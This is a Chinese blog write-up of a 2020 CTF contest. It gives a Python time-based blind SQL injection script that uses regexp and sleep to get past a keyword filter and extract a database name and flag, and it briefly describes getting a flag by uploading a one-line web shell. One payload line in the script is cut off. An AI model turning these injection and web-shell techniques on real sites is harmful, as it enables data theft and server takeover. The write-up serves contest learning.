2020新春战疫网络安全公益赛第一天之盲注

原创

KogRow 于 2020-02-21 22:33:13 发布 696 收藏
分类专栏： CTF web安全 文章标签： SQL注入

0x00感觉自己还是太菜了

0x01爆破数据库名：

测试WAF过滤了=<>select

此处直接给出注数据库名的脚本：

```
def http_blindTime_get(url,payload):
    #记录发包时间
    starttime = time.time()
    result = requests.get(url+payload)
    #记录收包时间
    endtime = time.time()
    if(endtime-starttime<3):
        return False
    else:
        return True
#get方式获取数据库名，攻击载荷需修改函数变量构造
def getDatabaseName(url):
    #先获取数据库长度,推测不会长于16个字符,故range 0,10
    #逻辑为当数据库长度正确时使数据库休眠5秒，故当收发包时间差大于3s时break
    batabaselength = 0
    for i in range(0, 15):
        payload = "index.php?id=233333||if((length(database())%20regexp%20"+str(i)+"),sleep(5),2)"
        if http_blindTime_get(url,payload):
            databaselength = i
            break
    print('数据库名长度:',str(databaselength))
    if databaselength==0:
        return False
    else:
        #获取的数据库长度不为0，表明成功获取数据库长度，爆数据库名
        databasename=""
        for i in range(1,databaselength+1):
            for j in range(50, 128):
                payload = "index.php?id=23333||if((ascii(substr(database(),"+str(i)+",1))%20regexp%20"+str(
                if(http_blindTime_get(url, payload)):
                    print('找到code:'+str(j))
                    databasename += chr(j)
                    break
        print('数据库名:', str(databasename))
        return databasename

def main():
    url="http://36ca1c4d3df24bd3ae5e3b03df1f3379f351f0edfad943d4.changame.ichunqiu.com/"
    getDatabaseName(url)
    # get_all_databases("http://192.168.110.167/web/web26/")
if __name__ == '__main__':
    main()
```

运行上述代码根据时间盲注爆出数据库名为time。

接下来会发现select怎么都绕不过去，根据大佬们的解法,由于题目已经直接告诉我们flag在字段fl4g里面，则不需要再爆表名和字段名了，故直接用regexp绕过：

```
把payload换成payload = " if((substr((fl4g),i,1) regexp "+chr+"),sleep(3),1)"
#相当于 1 and if(fl4g = regexp 'flag{+ alphbat' ,sleep(5),1)
```

用这个payload，构建一个ascii表的alphbat逐个尝试flag就爆出来了

另外给出ezupload的wp:

直接是无过滤的文件上传，上传一句话之后找到根目录下有一个flag，直接执行命令 ./readflag就能拿到flag.....

听说这道题是出题人翻车了。。。。。。。